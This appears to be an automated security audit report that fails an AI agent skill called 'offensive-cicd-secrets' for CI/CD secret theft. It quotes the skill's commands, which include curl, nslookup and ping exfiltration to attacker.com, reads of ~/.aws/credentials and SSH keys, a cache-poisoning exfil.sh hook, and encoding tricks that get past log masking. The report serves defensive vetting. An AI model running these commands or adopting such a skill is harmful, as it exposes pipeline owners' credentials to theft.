offensive-cicd-secrets

Fail

Audited by Gen Agent Trust Hub on Oct 6, 2026

Risk Level: HIGHDATA_EXFILTRATIONCREDENTIALS_UNSAFECOMMAND_EXECUTIONPERSISTENCEOBFUSCATIONDYNAMIC_EXECUTION
Full Analysis
  • [DATA_EXFILTRATION]: The skill provides multiple commands for exfiltrating environment variables and secrets to an external domain (attacker.com). Evidence includes usage of curl -sS -X POST -d @- https://attacker.com/collect for HTTP exfiltration, nslookup "${secret}.exfil.attacker.com" for DNS-based exfiltration, and ping -c 1 -p "$chunk" attacker.com for ICMP-based exfiltration.
  • [CREDENTIALS_UNSAFE]: The instructions specifically target the extraction of highly sensitive files and credentials. Targeted paths include ~/.aws/credentials, ~/.ssh/id_rsa, ~/.ssh/*.pem, .env, and ~/.docker/config.json. It also targets platform-specific secrets such as GITHUB_TOKEN, CI_JOB_TOKEN, and AWS/Azure/GCP service account keys.
  • [COMMAND_EXECUTION]: The skill utilizes several system utilities to facilitate the collection and transmission of data. This includes the usage of curl, nslookup, ping, and xxd for non-standard purposes like exfiltration, as well as env, printenv, and strings /proc/self/environ to harvest credentials from memory and the environment.
  • [PERSISTENCE]: The skill describes a persistence and lateral movement technique through CI/CD cache poisoning. It provides a payload to inject exfiltration scripts into cached dependencies (e.g., ~/.npm/_preinstall/exfil.sh) which executes in subsequent pipeline runs.
  • [OBFUSCATION]: The skill provides specific methods to bypass CI/CD log masking, which is a form of defense evasion. Techniques include Base64 encoding (env | base64), string reversal (env | rev), and hex encoding (env | xxd). It also provides a loop to extract secrets character-by-character to defeat advanced masking filters.
  • [DYNAMIC_EXECUTION]: The skill provides templates for generating executable scripts at runtime. Specifically, it demonstrates creating a shell script (exfil.sh) and setting execution permissions (chmod +x) to facilitate automated data theft during the build process.
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Oct 6, 2026, 04:11 AM